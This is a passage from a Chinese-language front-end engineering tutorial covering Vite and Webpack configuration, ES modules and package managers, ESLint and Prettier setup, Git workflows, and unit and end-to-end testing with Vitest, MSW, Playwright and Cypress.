    (!('theme' in localStorage) && window.matchMedia('(prefers-color-scheme: dark)').matches)) {
  document.documentElement.classList.add('dark')
}

/* 方案 2:Tailwind CSS 深色模式 */
/* 只需要加 dark: 前缀 */
<div class="bg-white dark:bg-gray-900 text-gray-900 dark:text-gray-100">
  <h1 class="text-black dark:text-white">标题</h1>
</div>
设计系统的核心原则

1)一致性——相同的功能用相同的样式(所有按钮长一样);2)可维护性——改一个 Token,全局生效(改主题色只改一行);3)可扩展性——新增组件时有明确的规范可以参考;4)文档化——每个组件的用法、变体、Props 都有文档。推荐工具:Storybook(组件文档和可视化测试)。

第五部分 · 前端工程化

34. 构建工具 Vite

Vite 是 2026 年前端开发的默认构建工具。它利用浏览器原生 ESM 支持,实现了毫秒级的开发服务器启动和热更新。

一个类比

Webpack 像一个"大厨"——不管你点什么菜,它都先把所有食材全部准备好(打包所有模块),再开始做菜(启动开发服务器)。Vite 像"自助餐"——你点什么菜,它才准备什么食材(按需加载),所以启动极快。

Vite 核心原理

1
开发阶段——利用浏览器原生 ESM(<script type="module">),不需要打包。每个文件都是一个独立的 HTTP 请求,Vite 只做"转换"(把 TS 转成 JS、把 JSX 转成 JS)。
2
生产构建——用 Rollup 打包(比 Webpack 更快、产物更小)。Tree Shaking、Code Splitting、CSS 提取全部支持。
3
HMR 热更新——修改代码后,只更新修改的部分,不刷新整个页面。Vue/React 组件修改后毫秒级更新。

Vite 配置详解

// vite.config.ts
import { defineConfig } from 'vite'
import react from '@vitejs/plugin-react'
import path from 'path'

export default defineConfig({
  plugins: [react()],

  // 路径别名
  resolve: {
    alias: {
      '@': path.resolve(__dirname, 'src')
    }
  },

  // 开发服务器
  server: {
    port: 5173,
    open: true,           // 自动打开浏览器
    proxy: {              // 代理配置(解决跨域)
      '/api': {
        target: 'http://localhost:8000',
        changeOrigin: true
      }
    }
  },

  // 环境变量
  // .env 文件:VITE_API_URL=https://api.example.com
  // 代码中:import.meta.env.VITE_API_URL

  // 构建配置
  build: {
    outDir: 'dist',
    sourcemap: false,      // 生产环境不生成 sourcemap
    rollupOptions: {
      output: {
        // 手动分包
        manualChunks: {
          'react-vendor': ['react', 'react-dom', 'react-router-dom'],
          'ui-vendor': ['antd', '@ant-design/icons']
        }
      }
    }
  }
})

环境变量

# .env                # 所有环境都会加载
VITE_APP_TITLE=我的应用

# .env.development    # 开发环境
VITE_API_URL=http://localhost:8000

# .env.production     # 生产环境
VITE_API_URL=https://api.example.com

# 代码中使用(只有 VITE_ 前缀的变量会暴露给客户端)
console.log(import.meta.env.VITE_API_URL)
console.log(import.meta.env.MODE)          // development | production
console.log(import.meta.env.PROD)          // true/false
环境变量注意事项

1)只有 VITE_ 前缀的变量才会暴露给客户端代码;2)不要在环境变量中存放敏感信息(密钥、密码),因为它们会被打包到 JS 文件中;3).env.local 文件应该加入 .gitignore。

35. Webpack 深入(选学)

Webpack 是老牌构建工具,虽然新项目推荐 Vite,但大量存量项目仍在用 Webpack。

// webpack.config.js 核心概念
module.exports = {
  entry: './src/main.js',        // 入口
  output: {
    path: path.resolve(__dirname, 'dist'),
    filename: '[name].[contenthash].js',  // 输出文件名(带 hash 缓存)
  },
  module: {
    rules: [
      { test: /\.tsx?$/, use: 'ts-loader' },      // Loader:处理不同类型文件
      { test: /\.css$/, use: ['style-loader', 'css-loader'] },
      { test: /\.(png|jpg)$/, type: 'asset' },    // 图片
    ]
  },
  plugins: [
    new HtmlWebpackPlugin({ template: './index.html' }),  // Plugin:扩展功能
    new MiniCssExtractPlugin(),                           // 提取 CSS
  ],
  optimization: {
    splitChunks: { chunks: 'all' }  // 代码分割
  }
}

// Webpack vs Vite
// Webpack:成熟稳定,插件生态最大,但启动慢(大型项目 30s+)
// Vite:启动极快(<1s),HMR 快,但部分 Webpack 插件没有对应版本

Loader vs Plugin:核心区别

// Loader:文件转换器(处理单个文件,把 A 类型转成 B 类型)
// - 时机:模块打包前(编译阶段)
// - 配置:module.rules 数组,链式执行(从右到左)
// - 示例:ts-loader、css-loader、sass-loader、babel-loader

// Plugin:功能扩展器(作用于整个构建流程)
// - 时机:整个生命周期(编译、优化、输出各阶段)
// - 配置:plugins 数组,通过钩子(hooks)介入
// - 示例:HtmlWebpackPlugin、MiniCssExtractPlugin、DefinePlugin

module.exports = {
  module: {
    rules: [
      // Loader 链:先 sass→css,再 css→JS 模块,最后注入 DOM
      { test: /\.scss$/, use: ['style-loader', 'css-loader', 'sass-loader'] }
    ]
  },
  plugins: [
    // Plugin:注入环境变量、生成 HTML、提取 CSS
    new DefinePlugin({ 'process.env.NODE_ENV': JSON.stringify('production') }),
    new HtmlWebpackPlugin({ template: './index.html' })
  ]
}
// 简单记忆:Loader 管"文件怎么转",Plugin 管"构建做什么"

何时选择 Webpack 而非 Vite

// 选 Webpack 的场景:
// 1. 存量项目——已有完整 Webpack 配置和自定义 loader/plugin,迁移成本高
// 2. Module Federation——Webpack 5 原生支持,Vite 需第三方插件且不够成熟
// 3. 极致定制——需要深度介入构建流程(自定义 chunk 策略、特殊资源处理)
// 4. 团队经验——团队 Webpack 经验丰富,短期内不需要切换

// 选 Vite 的场景:
// 1. 新项目——秒级启动、毫秒级 HMR,开发体验碾压 Webpack
// 2. Vue/React 新项目——官方推荐,生态完善
// 3. 中小项目——零配置开箱即用,TypeScript/JSX/CSS 都内置支持
// 4. 快速迭代——开发时基于 ESM 不打包,修改即生效

// 2026 年趋势:新项目默认 Vite,存量 Webpack 项目按需迁移

Module Federation(模块联邦)

// Webpack 5 的杀手级特性:运行时跨应用共享模块(微前端方案)

// 应用 A(暴露模块)
new ModuleFederationPlugin({
  name: 'appA',
  filename: 'remoteEntry.js',
  exposes: {
    './Button': './src/components/Button.vue',
    './utils': './src/utils/index.ts'
  },
  shared: ['vue', 'vue-router']  // 共享依赖,避免重复加载
})

// 应用 B(消费模块)
new ModuleFederationPlugin({
  name: 'appB',
  remotes: {
    appA: 'appA@http://localhost:3001/remoteEntry.js'
  },
  shared: ['vue', 'vue-router']
})

// 在应用 B 中动态加载应用 A 的组件
const Button = defineAsyncComponent(() => import('appA/Button'))

// 典型场景:
// 1. 微前端——多团队独立开发、独立部署、运行时集成
// 2. 组件共享——跨应用复用 UI 组件库,无需 npm 发包
// 3. 渐进迁移——新旧系统共存,逐步替换旧模块
构建工具选择建议

不要纠结工具选型,核心原则是:新项目用 Vite,老项目能跑就别动。Web 工程化的本质不是工具本身,而是模块化、自动化、质量保障这些工程思维。Webpack 和 Vite 只是实现手段,掌握一个,另一个半天就能上手。Module Federation 是微前端的重量级方案,但大多数项目用简单的 iframe 或 qiankun 就够了,不要过度设计。

36. 模块化与包管理

模块化是 JavaScript 的"文件系统"——把代码拆成独立的文件,按需导入导出。包管理器(npm/pnpm)帮你安装和管理第三方模块。

ESM(ES Modules)

// ESM 是 JavaScript 的官方模块标准(2026 年统一使用)

// 导出
export const PI = 3.14159
export function add(a, b) { return a + b }
export default class Calculator { ... }

// 导入
import Calculator, { PI, add } from './math.js'
import * as math from './math.js'
import { add as sum } from './math.js'  // 重命名

// 动态导入(懒加载)
const module = await import('./heavy-module.js')

// CommonJS(旧格式,Node.js 早期)
const express = require('express')         // 导入
module.exports = { add, subtract }         // 导出

// ESM vs CommonJS:
// ESM:静态分析(编译时确定依赖关系),支持 Tree Shaking
// CommonJS:动态加载(运行时确定依赖),不支持 Tree Shaking
// 2026 年统一用 ESM

包管理器对比

# npm(Node.js 自带)
npm install               # 安装依赖
npm install react         # 安装生产依赖
npm install -D typescript # 安装开发依赖

# pnpm(推荐,更快、更省磁盘)
pnpm install
pnpm add react
pnpm add -D typescript

# yarn(Facebook 出品)
yarn install
yarn add react

# 为什么推荐 pnpm?
# 1. 速度快:硬链接,不需要重复下载
# 2. 省磁盘:所有项目共享同一个全局 store
# 3. 严格:不允许引用未声明的依赖(npm/yarn 的幽灵依赖问题)
# 4. Monorepo 原生支持

Monorepo(单仓库多项目)

# Monorepo:一个仓库管理多个项目
# 适合:组件库 + 文档网站 + 示例项目

# pnpm-workspace.yaml
packages:
  - 'packages/*'    # 组件库
  - 'apps/*'        # 应用

# 目录结构
my-monorepo/
├── pnpm-workspace.yaml
├── packages/
│   ├── ui/             # 组件库
│   └── utils/          # 工具库
├── apps/
│   ├── web/            # Web 应用
│   └── docs/           # 文档网站
└── package.json

# 常用命令
pnpm --filter @my/ui add lodash        # 给指定包安装依赖
pnpm --filter @my/web dev              # 运行指定项目
pnpm -r run build                       # 所有项目执行 build
lock 文件的重要性

pnpm-lock.yaml(或 package-lock.json)锁定了每个依赖的精确版本。必须提交到 Git。没有 lock 文件,不同人安装的依赖版本可能不同,导致"我电脑上能跑"的问题。

Import Maps(浏览器原生模块映射)

<!-- Import Maps:在浏览器中直接映射模块名到 URL,无需打包工具 -->
<script type="importmap">
{
  "imports": {
    "react": "https://esm.sh/react@19",
    "react-dom": "https://esm.sh/react-dom@19",
    "lodash": "https://esm.sh/lodash-es@4",
    "@utils/": "./src/utils/"
  }
}
</script>

<!-- 之后可以直接用裸标识符导入 -->
<script type="module">
  import React from 'react'
  import { debounce } from 'lodash'
  import { formatDate } from '@utils/date'
</script>

<!-- 注意事项:
  1. importmap 必须在任何 type="module" 之前
  2. 一个页面只能有一个 importmap
  3. 生产环境仍推荐用 Vite/Rollup 打包,importmap 更适合开发和演示 -->

package.json exports 字段

// exports 字段:精确控制包的入口(替代 main/module)
{
  "name": "@my/utils",
  "exports": {
    ".": {
      "import": "./dist/index.mjs",     // ESM 入口
      "require": "./dist/index.cjs",     // CJS 入口
      "types": "./dist/index.d.ts"       // TypeScript 类型
    },
    "./math": "./dist/math.js",          // 子路径导出
    "./date": {
      "import": "./dist/date.mjs",
      "require": "./dist/date.cjs"
    }
  }
}

// 使用:
import { add } from '@my/utils/math'    // 映射到 ./dist/math.js
import { formatDate } from '@my/utils/date'

// 优势:
// 1. 条件导出 —— Node.js 和浏览器自动选择不同入口
// 2. 子路径导出 —— 用户只能导入 exports 中声明的路径(封装内部实现)
// 3. TypeScript 通过 types 字段自动识别类型

Top-level Await

// Top-level Await:在模块顶层直接使用 await(ES2022 标准)
// 只在 ES module 中有效(type="module" 或 .mjs 文件)

// 动态导入(按需加载模块)
const module = await import('./heavy-utils.js')
module.doSomething()

// 异步初始化(获取配置)
const config = await fetch('/api/config').then(r => r.json())

// 竞争获取(谁先返回用谁)
const fastest = await Promise.race([
  fetch('https://cdn1.example.com/data.json'),
  fetch('https://cdn2.example.com/data.json')
])
const data = await fastest.json()

// 注意:Top-level await 会阻塞当前模块的父模块执行
// 不要滥用 —— 只在入口模块或初始化场景中使用
模块化的演进路径

从全局变量 → IIFE → CommonJS(Node.js) → AMD/UMD(浏览器) → ESM(统一标准)。2026 年,ESM 是唯一标准:浏览器原生支持,Node.js 完全支持。新项目直接用 import/export,不需要再考虑 CommonJS 兼容。理解 import maps 和 exports 字段,你就能掌控整个模块解析链路。

37. 代码规范与质量

ESLint:代码检查

# 安装(使用 flat config,2026 年标准)
pnpm add -D eslint @eslint/js typescript-eslint eslint-plugin-react-hooks

// eslint.config.js
import js from '@eslint/js'
import tseslint from 'typescript-eslint'

export default [
  js.configs.recommended,
  ...tseslint.configs.recommended,
  {
    rules: {
      'no-unused-vars': 'error',
      'no-console': 'warn',
      '@typescript-eslint/no-explicit-any': 'warn',
      'react-hooks/rules-of-hooks': 'error',
      'react-hooks/exhaustive-deps': 'warn'
    }
  }
]

Prettier:代码格式化

# 安装
pnpm add -D prettier

// .prettierrc
{
  "semi": false,
  "singleQuote": true,
  "tabWidth": 2,
  "trailingComma": "es5",
  "printWidth": 100
}

# 配合 VS Code 保存时自动格式化
# .vscode/settings.json
{
  "editor.formatOnSave": true,
  "editor.defaultFormatter": "esbenp.prettier-vscode"
}

Husky + lint-staged:提交时自动检查

# 安装
pnpm add -D husky lint-staged

# 初始化
npx husky init

# .husky/pre-commit
npx lint-staged

# package.json
{
  "lint-staged": {
    "*.{ts,tsx}": ["eslint --fix", "prettier --write"],
    "*.{css,md}": ["prettier --write"]
  }
}

# 效果:每次 git commit 时,自动对暂存的文件运行 lint 和格式化
# 如果有错误,阻止提交

eslint-config-prettier:避免冲突

# ESLint 和 Prettier 规则可能冲突(比如分号、引号风格)
# eslint-config-prettier 会关闭所有与 Prettier 冲突的 ESLint 规则

pnpm add -D eslint-config-prettier

// eslint.config.js
import js from '@eslint/js'
import tseslint from 'typescript-eslint'
import prettier from 'eslint-config-prettier'

export default [
  js.configs.recommended,
  ...tseslint.configs.recommended,
  prettier,   // 放在最后,关闭冲突规则
  {
    rules: {
      'no-unused-vars': 'error',
      'no-console': 'warn'
    }
  }
]

# 原则:ESLint 管代码质量(逻辑错误),Prettier 管代码风格(格式)
# 两者各司其职,互不干扰

Stylelint:CSS 代码检查

# 检查 CSS/SCSS 代码质量(无效属性、不推荐的写法等)

pnpm add -D stylelint stylelint-config-standard-scss

# .stylelintrc.json
{
  "extends": "stylelint-config-standard-scss",
  "rules": {
    "color-no-invalid-hex": true,
    "declaration-block-no-duplicate-properties": true,
    "no-descending-specificity": null,
    "scss/operator-no-newline-after": null
  }
}

# package.json 添加脚本
{
  "scripts": {
    "lint:css": "stylelint 'src/**/*.{css,scss}' --fix"
  }
}

# 配合 lint-staged 提交时自动检查 CSS
# "*.{css,scss}": ["stylelint --fix", "prettier --write"]

EditorConfig:统一编辑器配置

# 解决不同开发者编辑器配置不一致的问题(缩进、换行符等)
# 所有主流编辑器都支持(VS Code 需装 EditorConfig 插件)

# .editorconfig
root = true

[*]
charset = utf-8
end_of_line = lf
indent_style = space
indent_size = 2
insert_final_newline = true
trim_trailing_whitespace = true

[*.md]
trim_trailing_whitespace = false

[Makefile]
indent_style = tab

# 作用:不管你用 VS Code、WebStorm 还是 Vim,
# 打开项目时编辑器会自动应用这些配置
# 确保团队成员的代码格式完全一致

Knip:死代码检测

# Knip 自动检测项目中未使用的文件、导出、依赖
# 大型项目随时间推移会积累大量死代码,增加维护成本

pnpm add -D knip

# knip.json
{
  "entry": ["src/index.tsx"],
  "project": ["src/**/*.{ts,tsx}"],
  "ignore": ["src/**/*.test.ts"]
}

# 运行
npx knip               # 检测未使用的导出和文件
npx knip --dependencies # 检测未使用的依赖(package.json 中多余的包)
npx knip --fix          # 自动删除未使用的导出

# 输出示例:
# Unused exports (2)
#   formatPrice  src/utils/format.ts
#   useDarkMode  src/hooks/useDarkMode.ts
# Unused dependencies (1)
#   lodash

# 建议:每个大版本发布前运行一次 knip,清理死代码

38. Git 工作流与协作

Git 不只是"保存代码"的工具——它是团队协作的基础设施。好的 Git 工作流让团队高效协作,差的工作流让代码冲突不断、发布混乱。

两种主流工作流

# Git Flow(传统,适合大版本发布的产品)
main          # 生产分支(只有 release 合并到这里,始终保持可发布状态)
develop       # 开发分支(日常开发的基础,功能分支从这里创建)
feature/xxx   # 功能分支(从 develop 创建,完成后合并回 develop)
release/x.x   # 发布分支(从 develop 创建,测试后合并到 main 和 develop)
hotfix/xxx    # 紧急修复(从 main 创建,修复后合并到 main 和 develop)

# Trunk-Based(现代,适合持续部署的 Web 项目)
main          # 主干分支(所有代码最终合并到这里)
feature/xxx   # 功能分支(生命周期短,1-2 天必须合并)

# 2026 年推荐:Trunk-Based + 短生命周期功能分支
# 规则:功能分支不超过 2 天,频繁合并,避免大型 PR

Pull Request(PR)最佳实践

# PR 是代码审查的载体——提交代码前让同事审查

# 1. PR 标题要清晰
feat(auth): 添加微信登录功能          # ✅ 清晰
修复 bug                                # ❌ 模糊

# 2. PR 描述要完整
## 改动内容
- 添加微信 OAuth 登录流程
- 新增 WechatButton 组件
- 更新 AuthStore 的 login action

## 截图/视频
(附上 UI 变更的截图)

## 测试
- [ ] 本地测试通过
- [ ] 单元测试通过
- [ ] 手动测试微信登录流程

# 3. PR 要小(200-400 行最佳)
# 大 PR 没人愿意审查,审查质量也低
# 如果改动很大,拆成多个小 PR

# 4. 解决冲突
git checkout main
git pull origin main
git checkout feature-login
git rebase main         # 把功能分支"变基"到最新的 main 上
# 解决冲突后
git push --force-with-lease  # 强制推送(用 --force-with-lease 更安全)

Conventional Commits

# 提交格式:类型(范围): 描述

feat(auth): 添加微信登录功能
fix(form): 修复邮箱校验正则错误
docs(readme): 更新部署说明
style: 修复代码格式
refactor(api): 重构请求封装
test(login): 添加登录页面单元测试
chore: 升级依赖版本
perf(chart): 优化 ECharts 按需加载

# 好处:
# 1. 自动生成 CHANGELOG
# 2. 自动判断版本号(feat=minor, fix=patch, BREAKING=major)
# 3. 方便 git log 过滤(git log --oneline --grep="feat")

# 配合 commitlint 自动检查
# 安装:pnpm add -D @commitlint/cli @commitlint/config-conventional
# commitlint.config.js: module.exports = { extends: ['@commitlint/config-conventional'] }

常用 Git 技巧

# 暂存当前修改(切换分支前)
git stash                     # 暂存
git stash pop                 # 恢复

# 查看某行代码是谁写的
git blame src/App.tsx         # 逐行显示最后修改人和提交

# 撤销最后一次提交(保留修改)
git reset --soft HEAD~1

# 撤销某个文件的修改
git checkout -- src/App.tsx   # 恢复到上次提交的状态

# 交互式 rebase(整理提交历史)
git rebase -i HEAD~3          # 合并/修改最近 3 个提交

# cherry-pick(把某个提交应用到当前分支)
git cherry-pick abc1234

# 查找引入 bug 的提交
git bisect start
git bisect bad                # 当前版本有 bug
git bisect good v1.0.0        # v1.0.0 没有 bug
# Git 会自动二分查找,让你逐个测试
分支命名规范

feature/功能名(新功能)、fix/问题描述(修复)、hotfix/紧急修复(线上紧急修复)、refactor/重构内容(重构)、docs/文档内容(文档)。例如:feature/wechat-login、fix/email-validation。

交互式 Rebase:整理提交历史

# 交互式 rebase 让你在推送前"美化"提交历史
# 场景:开发时随手提交了很多零碎的 commit,合并前想整理一下

git rebase -i HEAD~5    # 编辑最近 5 个提交

# 编辑器会打开:
pick a1b2c3d feat: 添加登录表单
pick e4f5g6h fix typo
pick i7j8k9l feat: 添加表单验证
pick m0n1o2p fix: 修复验证逻辑
pick q3r4s5t wip

# 修改为:
pick a1b2c3d feat: 添加登录表单
fixup e4f5g6h fix typo          # 合并到上一个提交,丢弃消息
squash i7j8k9l feat: 添加表单验证  # 合并到上一个提交,保留消息
fixup m0n1o2p fix: 修复验证逻辑   # 合并到上一个提交,丢弃消息
reword q3r4s5t wip               # 修改提交消息

# 结果:5 个提交变成 2 个干净的提交
# 重要:只对未推送的提交做 rebase!已推送的提交被 rebase 后
# 需要 git push --force-with-lease,会影响其他协作者

Merge vs Rebase:两种哲学

# Merge(合并):保留完整历史
git checkout main
git merge feature-login
# 结果:产生一个合并提交,保留分支的完整时间线
#   main ---A---B---M---        (M 是合并提交)
#              \ /
#   feature    C---D---

# Rebase(变基):线性历史
git checkout feature-login
git rebase main
# 结果:把功能分支的提交"搬到" main 最新提交之后
#   main ---A---B---C'---D'     (C' D' 是重新应用的提交)
#
# 然后 fast-forward 合并:
git checkout main
git merge feature-login         # 无冲突时直接快进

# 选择建议:
# Merge:适合长期分支(release、hotfix),保留历史完整性
# Rebase:适合短生命周期功能分支,保持主线历史清晰
# 2026 年主流:功能分支用 rebase,合并到 main 用 merge(--no-ff)
# 最终原则:遵循团队统一规范,不要混用

Git Worktree:并行工作

# worktree 让你在同一个仓库中同时检出多个分支到不同目录
# 场景:正在 feature/A 开发,突然需要紧急修复 hotfix/B

# 创建新的工作树
git worktree add ../my-project-hotfix hotfix/urgent-fix

# 目录结构:
# my-project/          ← 当前工作目录(feature/A)
# my-project-hotfix/   ← 新工作树(hotfix/urgent-fix)

# 在另一个目录中修复
cd ../my-project-hotfix
git commit -am "fix: 紧急修复"
git push origin hotfix/urgent-fix

# 回到原目录继续开发
cd ../my-project

# 查看所有工作树
git worktree list

# 删除工作树
git worktree remove ../my-project-hotfix

# 优势:不需要 stash、不需要切换分支、两个分支可以同时编辑
# 比开多个编辑器窗口切换分支更高效

Git Reflog:后悔药

# reflog 记录了 HEAD 和分支引用的所有变更历史
# 即使 commit 被 reset、rebase 覆盖、branch 删除,都能找回

# 查看 HEAD 的变更记录
git reflog
# 输出示例:
# abc1234 HEAD@{0}: reset: moving to HEAD~3
# def5678 HEAD@{1}: commit: feat: 添加用户列表
# ghi9012 HEAD@{2}: commit: feat: 添加登录功能
# jkl3456 HEAD@{3}: commit: init: 初始化项目

# 恢复被 reset 丢掉的提交
git reset --hard def5678    # 恢复到"添加用户列表"那个提交

# 恢复被删除的分支
git branch feature-recovered def5678

# 恢复被 rebase 覆盖的提交
git reflog show feature-login
# 找到 rebase 前的提交 hash
git reset --hard HEAD@{5}

# 查看某个分支的 reflog
git reflog show main

# reflog 默认保留 90 天,可通过配置延长
# git config gc.reflogExpire "180 days"

# 关键记忆:只要做过 git commit,代码就不会真正丢失
# reflog 是 Git 最强大的安全网

39. 自动化测试

前端测试分三层:单元测试(测试函数/组件)→ 集成测试(测试多个组件协作)→ 端到端测试(模拟用户操作)。

Vitest:单元测试

# 安装
pnpm add -D vitest @testing-library/react @testing-library/jest-dom

# vitest.config.ts
import { defineConfig } from 'vitest/config'
export default defineConfig({
  test: {
    globals: true,
    environment: 'jsdom'
  }
})

// 测试纯函数
import { describe, it, expect } from 'vitest'
import { add, formatPrice } from './utils'

describe('add', () => {
  it('should add two numbers', () => {
    expect(add(1, 2)).toBe(3)
  })

  it('should handle negative numbers', () => {
    expect(add(-1, 1)).toBe(0)
  })
})

describe('formatPrice', () => {
  it('should format with currency symbol', () => {
    expect(formatPrice(100)).toBe('¥100.00')
  })
})

测试 React 组件

import { render, screen, fireEvent } from '@testing-library/react'
import { Counter } from './Counter'

describe('Counter', () => {
  it('should render initial count', () => {
    render(<Counter initialCount={0} />)
    expect(screen.getByText('Count: 0')).toBeInTheDocument()
  })

  it('should increment on button click', () => {
    render(<Counter initialCount={0} />)
    fireEvent.click(screen.getByText('+1'))
    expect(screen.getByText('Count: 1')).toBeInTheDocument()
  })

  it('should match snapshot', () => {
    const { container } = render(<Counter initialCount={5} />)
    expect(container).toMatchSnapshot()
  })
})

// 运行测试
// pnpm vitest           # 监听模式
// pnpm vitest run       # 运行一次
// pnpm vitest --coverage # 生成覆盖率报告
测试策略

不需要 100% 覆盖率。推荐:1)核心业务逻辑(计算、校验)必须测试;2)复杂组件(表单、表格)测试关键交互;3)工具函数 100% 测试;4)简单展示组件可以不测试。目标覆盖率 70-80% 就很好了。

MSW(Mock Service Worker)API Mock

# MSW 在网络层拦截请求,不侵入业务代码
pnpm add -D msw

# src/mocks/handlers.ts — 定义 Mock 处理器
import { http, HttpResponse } from 'msw'

export const handlers = [
  // 模拟 GET /api/users
  http.get('/api/users', () => {
    return HttpResponse.json([
      { id: 1, name: 'Alice', email: 'alice@example.com' },
      { id: 2, name: 'Bob', email: 'bob@example.com' }
    ])
  }),

  // 模拟 POST /api/users
  http.post('/api/users', async ({ request }) => {
    const body = await request.json()
    return HttpResponse.json(
      { id: 3, ...body },
      { status: 201 }
    )
  }),

  // 模拟错误场景
  http.get('/api/users/:id', ({ params }) => {
    if (params.id === '999') {
      return new HttpResponse(null, { status: 404 })
    }
    return HttpResponse.json({ id: params.id, name: 'Alice' })
  })
]

# src/mocks/browser.ts — 浏览器端(开发调试用)
import { setupWorker } from 'msw/browser'
import { handlers } from './handlers'
export const worker = setupWorker(...handlers)

# src/mocks/server.ts — Node 端(测试用)
import { setupServer } from 'msw/node'
import { handlers } from './handlers'
export const server = setupServer(...handlers)
# 在测试中启用 MSW(Vitest 配置)
# vitest.config.ts
import { defineConfig } from 'vitest/config'
export default defineConfig({
  test: {
    globals: true,
    environment: 'jsdom',
    setupFiles: ['./src/test/setup.ts']
  }
})

# src/test/setup.ts
import { server } from '../mocks/server'
import { beforeAll, afterEach, afterAll } from 'vitest'

beforeAll(() => server.listen({ onUnhandledRequest: 'error' }))
afterEach(() => server.resetHandlers())
afterAll(() => server.close())

# 在组件测试中使用
import { render, screen, waitFor } from '@testing-library/react'
import { UserList } from './UserList'

describe('UserList', () => {
  it('should render users from API', async () => {
    render(<UserList />)
    await waitFor(() => {
      expect(screen.getByText('Alice')).toBeInTheDocument()
      expect(screen.getByText('Bob')).toBeInTheDocument()
    })
  })

  it('should handle error gracefully', async () => {
    // 动态覆盖 handler,模拟服务器错误
    const { http, HttpResponse } = await import('msw')
    const { server } = await import('../mocks/server')
    server.use(
      http.get('/api/users', () => {
        return new HttpResponse(null, { status: 500 })
      })
    )
    render(<UserList />)
    await waitFor(() => {
      expect(screen.getByText(/加载失败/)).toBeInTheDocument()
    })
  })
})
MSW vs axios-mock-adapter

MSW 使用 Service Worker 在网络层拦截,与业务代码完全解耦——同一套 Mock 既可用于测试,也可用于前端开发调试。axios-mock-adapter 侵入 axios 实例,测试和开发不能共用。新项目首选 MSW。

E2E 测试(Playwright / Cypress)

# ====== Playwright(推荐)======
pnpm create playwright

# playwright.config.ts
import { defineConfig } from '@playwright/test'
export default defineConfig({
  testDir: './e2e',
  use: {
    baseURL: 'http://localhost:5173',
    screenshot: 'only-on-failure',
    trace: 'on-first-retry'
  },
  webServer: {
    command: 'pnpm dev',
    port: 5173,
    reuseExistingServer: !process.env.CI
  }
})

# e2e/login.spec.ts
import { test, expect } from '@playwright/test'

test('用户登录流程', async ({ page }) => {
  // 打开登录页
  await page.goto('/login')

  // 填写表单
  await page.getByLabel('用户名').fill('admin')
  await page.getByLabel('密码').fill('123456')

  // 点击登录
  await page.getByRole('button', { name: '登录' }).click()

  // 断言:跳转到首页
  await expect(page).toHaveURL('/dashboard')
  await expect(page.getByText('欢迎回来')).toBeVisible()
})

test('搜索商品并查看详情', async ({ page }) => {
  await page.goto('/')
  await page.getByPlaceholder('搜索商品').fill('手机')
  await page.getByRole('button', { name: '搜索' }).click()

  // 等待搜索结果
  const results = page.locator('[data-testid="product-card"]')
  await expect(results).toHaveCount(10)

  // 点击第一个商品
  await results.first().click()
  await expect(page.locator('h1')).toContainText('手机')
})

# 运行测试
# pnpm playwright test          # 运行所有
# pnpm playwright test --ui     # 可视化 UI
# pnpm playwright show-report   # 查看报告
# ====== Cypress(也很流行)======
pnpm add -D cypress

# cypress.config.ts
import { defineConfig } from 'cypress'

export default defineConfig({
  e2e: {
    baseUrl: 'http://localhost:5173',
    supportFile: 'cypress/support/e2e.ts',
    specPattern: 'cypress/e2e/**/*.cy.ts'
  }
})

# cypress/e2e/login.cy.ts
describe('登录页面', () => {
  beforeEach(() => {
    cy.visit('/login')
  })

  it('成功登录后跳转到首页', () => {
    cy.get('[data-cy="username"]').type('admin')
    cy.get('[data-cy="password"]').type('123456')
    cy.get('[data-cy="submit"]').click()
    cy.url().should('include', '/dashboard')
    cy.contains('欢迎回来').should('be.visible')
  })

  it('密码错误时显示提示', () => {
    cy.get('[data-cy="username"]').type('admin')
    cy.get('[data-cy="password"]').type('wrong')
    cy.get('[data-cy="submit"]').click()
    cy.get('.error-message').should('contain', '密码错误')
  })

  it('接口错误时显示友好提示', () => {
    // 拦截 API 请求,模拟服务器错误
    cy.intercept('POST', '/api/login', { statusCode: 500 }).as('loginFail')
    cy.get('[data-cy="username"]').type('admin')
    cy.get('[data-cy="password"]').type('123456')
    cy.get('[data-cy="submit"]').click()
    cy.wait('@loginFail')
    cy.contains('服务器繁忙').should('be.visible')
  })
})

# 运行:npx cypress open(可视化) / npx cypress run(命令行)
Playwright vs Cypress 怎么选

Playwright:多浏览器(Chromium/Firefox/WebKit)、多标签页、速度快、适合复杂场景。Cypress:开发体验好、调试方便、社区插件多。新项目推荐 Playwright——性能更强,且微软持续投入维护。

自定义 Hook 测试

# 自定义 Hook 不能在普通函数中调用,需要用 renderHook
import { renderHook, act } from '@testing-library/react'
import { useCounter } from './useCounter'
import { useDebounce } from './useDebounce'

describe('useCounter', () => {
  it('should initialize with default value', () => {
    const { result } = renderHook(() => useCounter(0))
    expect(result.current.count).toBe(0)
  })

  it('should increment', () => {
    const { result } = renderHook(() => useCounter(0))
    act(() => { result.current.increment() })
    expect(result.current.count).toBe(1)
  })

  it('should accept initial value', () => {
    const { result } = renderHook(() => useCounter(10))
    expect(result.current.count).toBe(10)
  })

  it('should decrement below zero', () => {
    const { result } = renderHook(() => useCounter(0))
    act(() => { result.current.decrement() })
    expect(result.current.count).toBe(-1)
  })
})

describe('useDebounce', () => {
  beforeEach(() => { vi.useFakeTimers() })
  afterEach(() => { vi.useRealTimers() })

  it('should debounce value changes', () => {
    const { result, rerender } = renderHook(
      ({ value, delay }) => useDebounce(value, delay),
      { initialProps: { value: 'hello', delay: 500 } }
    )
    expect(result.current).toBe('hello')

    // 更新值
    rerender({ value: 'world', delay: 500 })
    expect(result.current).toBe('hello')  // 还没到时间

    // 快进 500ms
    act(() => { vi.advanceTimersByTime(500) })
    expect(result.current).toBe('world')
  })
})

# 测试带 Context 的 Hook
import { renderHook } from '@testing-library/react'
import { useAuth } from './useAuth'
import { AuthProvider } from './AuthContext'

test('useAuth 应抛出错误如果在 Provider 外使用', () => {
  expect(() => renderHook(() => useAuth())).toThrow(
    'useAuth 必须在 AuthProvider 内使用'
  )
})

test('useAuth 应返回登录状态', () => {
  const wrapper = ({ children }) => (
    <AuthProvider>{children}</AuthProvider>
  )
  const { result } = renderHook(() => useAuth(), { wrapper })
  expect(result.current.isLoggedIn).toBe(false)
})

测试覆盖率配置

# vitest.config.ts — 覆盖率配置
import { defineConfig } from 'vitest/config'

export default defineConfig({
  test: {
    globals: true,
    environment: 'jsdom',
    coverage: {
      provider: 'v8',           // 或 'istanbul'
      reporter: ['text', 'html', 'lcov', 'json-summary'],
      reportsDirectory: './coverage',
      // 设置阈值:低于则测试失败
      thresholds: {
        lines: 80,
        functions: 80,
        branches: 75,
        statements: 80
      },
      // 排除不需要覆盖的文件
      exclude: [
        'node_modules/',
        'src/test/',
